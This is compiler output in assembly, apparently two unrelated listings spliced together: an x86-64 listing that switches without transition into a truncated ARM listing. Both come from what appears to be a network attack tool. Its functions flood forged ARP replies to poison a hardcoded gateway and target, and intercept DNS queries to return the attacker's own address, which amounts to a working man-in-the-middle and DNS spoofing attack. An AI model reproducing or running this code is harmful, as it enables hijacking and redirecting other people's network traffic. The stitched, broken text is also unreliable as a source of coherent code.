mov QWORD PTR -65608[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
call fork@PLT
test eax, eax
jne .L22
mov rax, QWORD PTR -65600[rbp]
mov rdi, rax
call ping_ip
mov edi, 0
call exit@PLT
.L22:
lea rax, -65552[rbp]
mov QWORD PTR -65568[rbp], rax
lea rax, -65552[rbp]
add rax, 14
mov QWORD PTR -65560[rbp], rax
mov rax, QWORD PTR -65600[rbp]
mov rdi, rax
call convert_ip_to_int
mov DWORD PTR -65576[rbp], eax
jmp .L23
.L26:
cmp DWORD PTR -65572[rbp], 39
jg .L24
jmp .L23
.L24:
mov rax, QWORD PTR -65560[rbp]
mov eax, DWORD PTR 16[rax]
cmp DWORD PTR -65576[rbp], eax
jne .L23
mov rcx, QWORD PTR -65568[rbp]
mov rax, QWORD PTR -65608[rbp]
mov edx, 6
mov rsi, rcx
mov rdi, rax
call memcpy@PLT
mov eax, 0
jmp .L27
.L23:
lea rcx, -65552[rbp]
mov eax, DWORD PTR -65588[rbp]
mov edx, 65535
mov rsi, rcx
mov edi, eax
call read@PLT
mov DWORD PTR -65572[rbp], eax
cmp DWORD PTR -65572[rbp], 0
jg .L26
call __errno_location@PLT
mov eax, DWORD PTR [rax]
neg eax
.L27:
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L28
call __stack_chk_fail@PLT
.L28:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE39:
.size get_mac_from_ip, .-get_mac_from_ip
.globl create_packet_socket
.type create_packet_socket, @function
create_packet_socket:
.LFB40:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edi, 3
call htons@PLT
movzx eax, ax
mov edx, eax
mov esi, 3
mov edi, 17
call socket@PLT
mov DWORD PTR -52[rbp], eax
lea rax, -48[rbp]
mov edx, 15
lea rsi, .LC9[rip]
mov rdi, rax
call strncpy@PLT
lea rdx, -48[rbp]
mov eax, DWORD PTR -52[rbp]
mov esi, 35091
mov edi, eax
mov eax, 0
call ioctl@PLT
movzx eax, WORD PTR -32[rbp]
or ah, 1
mov WORD PTR -32[rbp], ax
lea rdx, -48[rbp]
mov eax, DWORD PTR -52[rbp]
mov esi, 35092
mov edi, eax
mov eax, 0
call ioctl@PLT
mov eax, DWORD PTR -52[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L31
call __stack_chk_fail@PLT
.L31:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE40:
.size create_packet_socket, .-create_packet_socket
.globl flood_arp
.type flood_arp, @function
flood_arp:
.LFB41:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 160
mov QWORD PTR -152[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -152[rbp]
mov QWORD PTR -128[rbp], rax
mov rax, QWORD PTR -128[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -132[rbp], eax
mov rax, QWORD PTR -128[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -120[rbp], rax
mov rax, QWORD PTR -128[rbp]
mov eax, DWORD PTR 16[rax]
mov DWORD PTR -136[rbp], eax
lea rax, -64[rbp]
mov edx, 56
mov esi, 0
mov rdi, rax
call memset@PLT
lea rax, -64[rbp]
mov QWORD PTR -112[rbp], rax
lea rax, -64[rbp]
add rax, 14
mov QWORD PTR -104[rbp], rax
mov rax, QWORD PTR -112[rbp]
mov rcx, QWORD PTR -120[rbp]
mov edx, 6
mov rsi, rcx
mov rdi, rax
call memcpy@PLT
mov rax, QWORD PTR -112[rbp]
add rax, 6
mov edx, DWORD PTR local_mac[rip]
mov DWORD PTR [rax], edx
movzx edx, WORD PTR local_mac[rip+4]
mov WORD PTR 4[rax], dx
mov edi, 2054
call htons@PLT
mov rdx, QWORD PTR -112[rbp]
mov WORD PTR 12[rdx], ax
mov edi, 1
call htons@PLT
mov rdx, QWORD PTR -104[rbp]
mov WORD PTR [rdx], ax
mov edi, 2048
call htons@PLT
mov rdx, QWORD PTR -104[rbp]
mov WORD PTR 2[rdx], ax
mov rax, QWORD PTR -104[rbp]
mov BYTE PTR 4[rax], 6
mov rax, QWORD PTR -104[rbp]
mov BYTE PTR 5[rax], 4
mov edi, 2
call htons@PLT
mov rdx, QWORD PTR -104[rbp]
mov WORD PTR 6[rdx], ax
mov rax, QWORD PTR -104[rbp]
add rax, 8
mov edx, DWORD PTR local_mac[rip]
mov DWORD PTR [rax], edx
movzx edx, WORD PTR local_mac[rip+4]
mov WORD PTR 4[rax], dx
mov edx, DWORD PTR -136[rbp]
mov eax, DWORD PTR gateway_ip[rip]
cmp edx, eax
jne .L33
lea rax, target_ip[rip]
jmp .L34
.L33:
lea rax, gateway_ip[rip]
.L34:
mov rdx, QWORD PTR -104[rbp]
add rdx, 14
mov eax, DWORD PTR [rax]
mov DWORD PTR [rdx], eax
mov rax, QWORD PTR -104[rbp]
lea rcx, 18[rax]
mov rax, QWORD PTR -120[rbp]
mov edx, 6
mov rsi, rax
mov rdi, rcx
call memcpy@PLT
mov rax, QWORD PTR -104[rbp]
lea rdx, 24[rax]
mov eax, DWORD PTR -136[rbp]
mov DWORD PTR [rdx], eax
mov QWORD PTR -96[rbp], 0
mov QWORD PTR -88[rbp], 0
mov DWORD PTR -80[rbp], 0
mov WORD PTR -96[rbp], 17
mov eax, DWORD PTR local_interface_index[rip]
mov DWORD PTR -92[rbp], eax
mov BYTE PTR -85[rbp], 6
mov edi, 2054
call htons@PLT
mov WORD PTR -94[rbp], ax
mov rax, QWORD PTR -120[rbp]
lea rdx, -96[rbp]
lea rcx, 12[rdx]
mov edx, 6
mov rsi, rax
mov rdi, rcx
call memcpy@PLT
.L35:
lea rdx, -96[rbp]
lea rsi, -64[rbp]
mov eax, DWORD PTR -132[rbp]
mov r9d, 20
mov r8, rdx
mov ecx, 0
mov edx, 42
mov edi, eax
call sendto@PLT
mov edi, 1
call sleep@PLT
jmp .L35
.cfi_endproc
.LFE41:
.size flood_arp, .-flood_arp
.section .rodata
.LC14:
.string "Spoofed dns response"
.LC15:
.string "dns read"
.text
.globl spoof_dns
.type spoof_dns, @function
spoof_dns:
.LFB45:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1168
mov DWORD PTR -1156[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -1040[rbp]
mov QWORD PTR -1136[rbp], rax
lea rax, -1040[rbp]
add rax, 14
mov QWORD PTR -1128[rbp], rax
lea rax, -1040[rbp]
add rax, 34
mov QWORD PTR -1120[rbp], rax
lea rax, -1040[rbp]
add rax, 42
mov QWORD PTR -1112[rbp], rax
lea rax, -528[rbp]
mov QWORD PTR -1104[rbp], rax
lea rax, -528[rbp]
add rax, 14
mov QWORD PTR -1096[rbp], rax
lea rax, -528[rbp]
add rax, 34
mov QWORD PTR -1088[rbp], rax
lea rax, -528[rbp]
add rax, 42
mov QWORD PTR -1080[rbp], rax
lea rax, -1040[rbp]
mov edx, 512
mov esi, 0
mov rdi, rax
call memset@PLT
mov edi, 2048
call htons@PLT
mov rdx, QWORD PTR -1136[rbp]
mov WORD PTR 12[rdx], ax
mov rax, QWORD PTR -1136[rbp]
add rax, 6
mov edx, DWORD PTR gateway_mac[rip]
mov DWORD PTR [rax], edx
movzx edx, WORD PTR gateway_mac[rip+4]
mov WORD PTR 4[rax], dx
mov rax, QWORD PTR -1128[rbp]
movzx edx, BYTE PTR [rax]
and edx, 15
or edx, 64
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -1128[rbp]
movzx edx, BYTE PTR [rax]
and edx, -16
or edx, 5
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -1128[rbp]
mov BYTE PTR 9[rax], 17
mov rax, QWORD PTR -1128[rbp]
mov BYTE PTR 1[rax], 0
mov edi, 16384
call htons@PLT
mov rdx, QWORD PTR -1128[rbp]
mov WORD PTR 6[rdx], ax
mov rax, QWORD PTR -1112[rbp]
add rax, 2
mov BYTE PTR [rax], -127
mov rax, QWORD PTR -1112[rbp]
add rax, 3
mov BYTE PTR [rax], -128
mov rax, QWORD PTR -1112[rbp]
add rax, 4
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -1112[rbp]
add rax, 5
mov BYTE PTR [rax], 1
mov rax, QWORD PTR -1112[rbp]
add rax, 6
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -1112[rbp]
add rax, 7
mov BYTE PTR [rax], 1
mov rax, QWORD PTR -1112[rbp]
add rax, 8
mov edx, 4
mov esi, 0
mov rdi, rax
call memset@PLT
jmp .L38
.L44:
mov rax, QWORD PTR -1088[rbp]
movzx eax, WORD PTR [rax]
movzx eax, ax
mov edi, eax
call ntohs@PLT
cmp ax, 53
jne .L39
jmp .L38
.L39:
mov rax, QWORD PTR -1104[rbp]
lea rcx, 6[rax]
mov rax, QWORD PTR -1136[rbp]
mov edx, 6
mov rsi, rcx
mov rdi, rax
call memcpy@PLT
mov rax, QWORD PTR -1096[rbp]
mov edx, DWORD PTR 16[rax]
mov rax, QWORD PTR -1128[rbp]
mov DWORD PTR 12[rax], edx
mov rax, QWORD PTR -1096[rbp]
mov edx, DWORD PTR 12[rax]
mov rax, QWORD PTR -1128[rbp]
mov DWORD PTR 16[rax], edx
mov rax, QWORD PTR -1096[rbp]
movzx eax, WORD PTR 4[rax]
movzx eax, ax
mov edi, eax
call ntohs@PLT
add eax, 1
movzx eax, ax
mov edi, eax
call htons@PLT
mov rdx, QWORD PTR -1128[rbp]
mov WORD PTR 4[rdx], ax
mov rax, QWORD PTR -1096[rbp]
movzx edx, BYTE PTR 8[rax]
mov rax, QWORD PTR -1128[rbp]
mov BYTE PTR 8[rax], dl
mov rax, QWORD PTR -1088[rbp]
movzx edx, WORD PTR 2[rax]
mov rax, QWORD PTR -1120[rbp]
mov WORD PTR [rax], dx
mov rax, QWORD PTR -1088[rbp]
movzx edx, WORD PTR [rax]
mov rax, QWORD PTR -1120[rbp]
mov WORD PTR 2[rax], dx
mov rax, QWORD PTR -1080[rbp]
movzx edx, WORD PTR [rax]
mov rax, QWORD PTR -1112[rbp]
mov WORD PTR [rax], dx
mov DWORD PTR -1148[rbp], 0
mov DWORD PTR -1144[rbp], 0
jmp .L40
.L41:
mov eax, DWORD PTR -1148[rbp]
lea ecx, 12[rax]
mov eax, DWORD PTR -1144[rbp]
lea edx, 1[rax]
mov DWORD PTR -1144[rbp], edx
add eax, ecx
movsx rdx, eax
mov rax, QWORD PTR -1080[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movzx eax, al
add DWORD PTR -1148[rbp], eax
.L40:
mov eax, DWORD PTR -1148[rbp]
lea edx, 12[rax]
mov eax, DWORD PTR -1144[rbp]
add eax, edx
movsx rdx, eax
mov rax, QWORD PTR -1080[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L41
mov eax, DWORD PTR -1144[rbp]
add DWORD PTR -1148[rbp], eax
mov eax, DWORD PTR -1148[rbp]
cdqe
mov rdx, QWORD PTR -1080[rbp]
lea rsi, 12[rdx]
mov rdx, QWORD PTR -1112[rbp]
lea rcx, 12[rdx]
mov rdx, rax
mov rdi, rcx
call memcpy@PLT
mov eax, DWORD PTR -1148[rbp]
add eax, 12
movsx rdx, eax
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 3[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 4[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 1
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 5[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], -64
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 6[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 12
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 7[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 9[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 10[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 1
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 11[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 12[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 13[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 28
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 14[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 32
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 15[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 2[rax]
mov rax, QWORD PTR -1080[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 28
jne .L42
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 2[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 28
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 8[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 28
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 16[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 16
mov eax, DWORD PTR -1148[rbp]
cdqe
lea rdx, 29[rax]
mov rax, QWORD PTR -1112[rbp]
lea rcx, [rdx+rax]
mov rax, QWORD PTR local_ip_6[rip]
mov rdx, QWORD PTR local_ip_6[rip+8]
mov QWORD PTR [rcx], rax
mov QWORD PTR 8[rcx], rdx
mov eax, DWORD PTR -1148[rbp]
add eax, 45
mov DWORD PTR -1152[rbp], eax
jmp .L43
.L42:
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 2[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 1
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 8[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 1
mov eax, DWORD PTR -1148[rbp]
add eax, 12
cdqe
lea rdx, 16[rax]
mov rax, QWORD PTR -1112[rbp]
add rax, rdx
mov BYTE PTR [rax], 4
mov eax, DWORD PTR -1148[rbp]
cdqe
lea rdx, 29[rax]
mov rax, QWORD PTR -1112[rbp]
add rdx, rax
mov eax, DWORD PTR local_ip[rip]
mov DWORD PTR [rdx], eax
mov eax, DWORD PTR -1148[rbp]
add eax, 33
mov DWORD PTR -1152[rbp], eax
.L43:
mov eax, DWORD PTR -1152[rbp]
add eax, 28
movzx eax, ax
mov edi, eax
call htons@PLT
mov rdx, QWORD PTR -1128[rbp]
mov WORD PTR 2[rdx], ax
mov rax, QWORD PTR -1128[rbp]
mov WORD PTR 10[rax], 0
mov rax, QWORD PTR -1128[rbp]
mov esi, 20
mov rdi, rax
call csum@PLT
mov rdx, QWORD PTR -1128[rbp]
mov WORD PTR 10[rdx], ax
mov eax, DWORD PTR -1152[rbp]
add eax, 8
movzx eax, ax
mov edi, eax
call htons@PLT
mov rdx, QWORD PTR -1120[rbp]
mov WORD PTR 4[rdx], ax
mov rax, QWORD PTR -1120[rbp]
mov WORD PTR 6[rax], 0
mov rax, QWORD PTR -1120[rbp]
movzx eax, WORD PTR 4[rax]
movzx eax, ax
mov edi, eax
call ntohs@PLT
movzx edx, ax
mov rax, QWORD PTR -1128[rbp]
mov esi, edx
mov rdi, rax
call check_udp_sum@PLT
mov rdx, QWORD PTR -1120[rbp]
mov WORD PTR 6[rdx], ax
mov QWORD PTR -1072[rbp], 0
mov QWORD PTR -1064[rbp], 0
mov DWORD PTR -1056[rbp], 0
mov WORD PTR -1072[rbp], 17
mov eax, DWORD PTR local_interface_index[rip]
mov DWORD PTR -1068[rbp], eax
mov BYTE PTR -1061[rbp], 6
mov edi, 2048
call htons@PLT
mov WORD PTR -1070[rbp], ax
mov rax, QWORD PTR -1128[rbp]
lea rcx, 16[rax]
lea rax, -1072[rbp]
add rax, 12
mov edx, 6
mov rsi, rcx
mov rdi, rax
call memcpy@PLT
mov eax, DWORD PTR -1152[rbp]
cdqe
lea rdx, 42[rax]
lea rcx, -1072[rbp]
lea rsi, -1040[rbp]
mov eax, DWORD PTR -1156[rbp]
mov r9d, 20
mov r8, rcx
mov ecx, 0
mov edi, eax
call sendto@PLT
lea rdi, .LC14[rip]
call puts@PLT
.L38:
lea rcx, -528[rbp]
mov eax, DWORD PTR -1156[rbp]
mov edx, 512
mov rsi, rcx
mov edi, eax
call read@PLT
mov DWORD PTR -1140[rbp], eax
cmp DWORD PTR -1140[rbp], 0
jg .L44
cmp DWORD PTR -1140[rbp], -1
jne .L47
lea rdi, .LC15[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L47:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L46
call __stack_chk_fail@PLT
.L46:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE45:
.size spoof_dns, .-spoof_dns
.section .rodata
.LC16:
.string "setuid"
.LC17:
.string "setgid"
.LC18:
.string "192.168.0.1"
.LC19:
.string "192.168.0.6"
.LC20:
.string "%08x\n"
.LC21:
.string "IP addresses are invalid\n"
.LC22:
.string "Initial gateway mac read"
.align 8
.LC23:
.string "%02x %02x %02x %02x %02x %02x\n"
.LC24:
.string "packet filter"
.text
.globl main
.type main, @function
main:
.LFB46:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edi, 0
call setuid@PLT
test eax, eax
je .L49
lea rdi, .LC16[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L49:
mov edi, 0
call setgid@PLT
test eax, eax
je .L50
lea rdi, .LC17[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L50:
mov edx, 6
mov esi, 0
lea rdi, gateway_mac[rip]
call memset@PLT
mov edx, 6
mov esi, 0
lea rdi, target_mac[rip]
call memset@PLT
lea rdi, .LC18[rip]
call convert_ip_to_int
mov DWORD PTR gateway_ip[rip], eax
lea rdi, .LC19[rip]
call convert_ip_to_int
mov DWORD PTR target_ip[rip], eax
call create_packet_socket
mov DWORD PTR -84[rbp], eax
mov eax, DWORD PTR -84[rbp]
mov edi, eax
call get_local_mac
mov eax, DWORD PTR gateway_ip[rip]
mov esi, eax
lea rdi, .LC20[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR target_ip[rip]
mov esi, eax
lea rdi, .LC20[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR gateway_ip[rip]
test eax, eax
je .L51
mov eax, DWORD PTR target_ip[rip]
test eax, eax
jne .L52
.L51:
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 25
mov esi, 1
lea rdi, .LC21[rip]
call fwrite@PLT
mov edi, 1
call exit@PLT
.L52:
mov eax, DWORD PTR -84[rbp]
lea rdx, gateway_mac[rip]
lea rsi, .LC18[rip]
mov edi, eax
call get_mac_from_ip
test eax, eax
je .L53
lea rdi, .LC22[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L53:
movzx eax, BYTE PTR gateway_mac[rip+5]
movzx esi, al
movzx eax, BYTE PTR gateway_mac[rip+4]
movzx r8d, al
movzx eax, BYTE PTR gateway_mac[rip+3]
movzx edi, al
movzx eax, BYTE PTR gateway_mac[rip+2]
movzx ecx, al
movzx eax, BYTE PTR gateway_mac[rip+1]
movzx edx, al
movzx eax, BYTE PTR gateway_mac[rip]
movzx eax, al
sub rsp, 8
push rsi
mov r9d, r8d
mov r8d, edi
mov esi, eax
lea rdi, .LC23[rip]
mov eax, 0
call printf@PLT
add rsp, 16
mov eax, DWORD PTR -84[rbp]
lea rdx, target_mac[rip]
lea rsi, .LC19[rip]
mov edi, eax
call get_mac_from_ip
test eax, eax
je .L54
lea rdi, .LC22[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L54:
movzx eax, BYTE PTR target_mac[rip+5]
movzx esi, al
movzx eax, BYTE PTR target_mac[rip+4]
movzx r8d, al
movzx eax, BYTE PTR target_mac[rip+3]
movzx edi, al
movzx eax, BYTE PTR target_mac[rip+2]
movzx ecx, al
movzx eax, BYTE PTR target_mac[rip+1]
movzx edx, al
movzx eax, BYTE PTR target_mac[rip]
movzx eax, al
sub rsp, 8
push rsi
mov r9d, r8d
mov r8d, edi
mov esi, eax
lea rdi, .LC23[rip]
mov eax, 0
call printf@PLT
add rsp, 16
mov eax, DWORD PTR -84[rbp]
mov DWORD PTR -64[rbp], eax
lea rax, gateway_mac[rip]
mov QWORD PTR -56[rbp], rax
mov eax, DWORD PTR gateway_ip[rip]
mov DWORD PTR -48[rbp], eax
lea rdx, -64[rbp]
lea rax, -80[rbp]
mov rcx, rdx
lea rdx, flood_arp[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov eax, DWORD PTR -84[rbp]
mov DWORD PTR -32[rbp], eax
lea rax, target_mac[rip]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR target_ip[rip]
mov DWORD PTR -16[rbp], eax
lea rdx, -32[rbp]
lea rax, -72[rbp]
mov rcx, rdx
lea rdx, flood_arp[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov eax, DWORD PTR -84[rbp]
mov r8d, 16
lea rcx, port_filter[rip]
mov edx, 26
mov esi, 1
mov edi, eax
call setsockopt@PLT
test eax, eax
jns .L55
lea rdi, .LC24[rip]
call perror@PLT
jmp .L56
.L55:
mov eax, DWORD PTR -84[rbp]
mov edi, eax
call spoof_dns
.L56:
mov rax, QWORD PTR -80[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
mov rax, QWORD PTR -72[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
mov eax, DWORD PTR -84[rbp]
mov edi, eax
call close@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L58
call __stack_chk_fail@PLT
.L58:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE46:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "56047.c"
.text
.global dns_filter
.data
.align 2
.type dns_filter, %object
.size dns_filter, 320
dns_filter:
.short 40
.byte 0
.byte 0
.word 12
.short 21
.byte 0
.byte 22
.word 34525
.short 32
.byte 0
.byte 0
.word 22
.short 21
.byte 0
.byte 6
.word 0
.short 32
.byte 0
.byte 0
.word 26
.short 21
.byte 0
.byte 4
.word 0
.short 32
.byte 0
.byte 0
.word 30
.short 21
.byte 0
.byte 2
.word 0
.short 32
.byte 0
.byte 0
.word 34
.short 21
.byte 29
.byte 0
.word 1
.short 32
.byte 0
.byte 0
.word 38
.short 21
.byte 0
.byte 6
.word 0
.short 32
.byte 0
.byte 0
.word 42
.short 21
.byte 0
.byte 4
.word 0
.short 32
.byte 0
.byte 0
.word 46
.short 21
.byte 0
.byte 2
.word 0
.short 32
.byte 0
.byte 0
.word 50
.short 21
.byte 21
.byte 0
.word 1
.short 48
.byte 0
.byte 0
.word 20
.short 21
.byte 0
.byte 19
.word 17
.short 40
.byte 0
.byte 0
.word 54
.short 21
.byte 16
.byte 0
.word 53
.short 40
.byte 0
.byte 0
.word 56
.short 21
.byte 14
.byte 15
.word 53
.short 21
.byte 0
.byte 14
.word 2048
.short 32
.byte 0
.byte 0
.word 26
.short 21
.byte 12
.byte 0
.word 2130706433
.short 32
.byte 0
.byte 0
.word 30
.short 21
.byte 10
.byte 0
.word 2130706433
.short 48
.byte 0
.byte 0
.word 23
.short 21
.byte 0
.byte 8
.word 17
.short 40
.byte 0
.byte 0
.word 20
.short 69
.byte 6
.byte 0
.word 8191
.short 177
.byte 0
.byte 0
.word 14
.short 72
.byte 0
.byte 0
.word 14
.short 21
.byte 2
.byte 0
.word 53
.short 72
.byte 0
.byte 0
.word 16
.short 21
.byte 0
.byte 1
.word 53
.short 6
.byte 0
.byte 0
.word 262144
.short 6
.byte 0
.byte 0
.word 0
.global port_filter
.align 2
.type port_filter, %object
.size port_filter, 8
port_filter:
.short 40
.space 2
.word dns_filter
.comm local_mac,6,4
.comm local_interface_index,4,4
.comm gateway_mac,6,4
.comm target_mac,6,4
.comm local_ip,4,4
.comm local_ip_6,16,4
.comm gateway_ip,4,4
.comm target_ip,4,4
.section .rodata
.align 2
.LC0:
.ascii "enp0s31f6\000"
.align 2
.LC1:
.ascii "ioctl local mac\000"
.align 2
.LC2:
.ascii "Local mac address is: \000"
.align 2
.LC3:
.ascii "%02x\000"
.align 2
.LC4:
.ascii "ioctl local ip\000"
.align 2
.LC5:
.ascii "Local IP address is: %08x\012\000"
.align 2
.LC6:
.ascii "Local interface index is: %08x\012\000"
.align 2
.LC7:
.ascii "r\000"
.align 2
.LC8:
.ascii "/proc/net/if_inet6\000"
.align 2
.LC9:
.ascii "/proc/net/if_inet6 open\000"
.align 2
.LC10:
.ascii " %2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx"
.ascii "%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx %*x %x %x %*x %s\000"
.align 2
.LC11:
.ascii "Local IPv6 address: \000"
.align 2
.LC12:
.word __stack_chk_guard
.text
.align 2
.global get_local_mac
.syntax unified
.arm
.fpu softvfp
.type get_local_mac, %function
get_local_mac:
@ args = 0, pretend = 0, frame = 320
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #392
str r0, [fp, #-320]
ldr r3, .L16
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #296
mov r2, #32
mov r1, #0
mov r0, r3
bl memset
sub r3, fp, #296
ldr r2, .L16+4
ldm r2, {r0, r1, r2}
stmia r3!, {r0, r1}
strh r2, [r3] @ movhi
sub r3, fp, #296
mov r2, r3
ldr r1, .L16+8
ldr r0, [fp, #-320]
bl ioctl
mov r3, r0
cmp r3, #0
beq .L2
ldr r0, .L16+12
bl perror
mov r0, #1
bl exit
.L2:
ldr r3, .L16+16
mov r0, r3
sub r3, fp, #276
sub r3, r3, #2
mov r2, #6
mov r1, r3
bl memcpy
ldr r0, .L16+20
bl printf
mov r3, #0
str r3, [fp, #-308]
b .L3
.L4:
sub r3, fp, #276
sub r3, r3, #2
ldr r2, [fp, #-308]
add r3, r3, r2
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r0, .L16+24
bl printf
ldr r3, [fp, #-308]
add r3, r3, #1
str r3, [fp, #-308]
.L3:
ldr r3, [fp, #-308]
cmp r3, #5
ble .L4
mov r0, #10
bl putchar
sub r3, fp, #296
mov r2, r3
ldr r1, .L16+28
ldr r0, [fp, #-320]
bl ioctl
mov r3, r0
cmp r3, #0
beq .L5
ldr r0, .L16+32
bl perror
mov r0, #1
bl exit
.L5:
sub r3, fp, #296
add r3, r3, #16
add r3, r3, #4
mov r2, #4
mov r1, r3
ldr r0, .L16+36
bl memcpy
ldr r3, .L16+36
ldr r3, [r3]
mov r1, r3
ldr r0, .L16+40
bl printf
sub r3, fp, #296
mov r2, r3
ldr r1, .L16+44
ldr r0, [fp, #-320]
bl ioctl
mov r3, r0
cmp r3, #0
beq .L6
ldr r0, .L16+32
bl perror
mov r0, #1
bl exit
.L6:
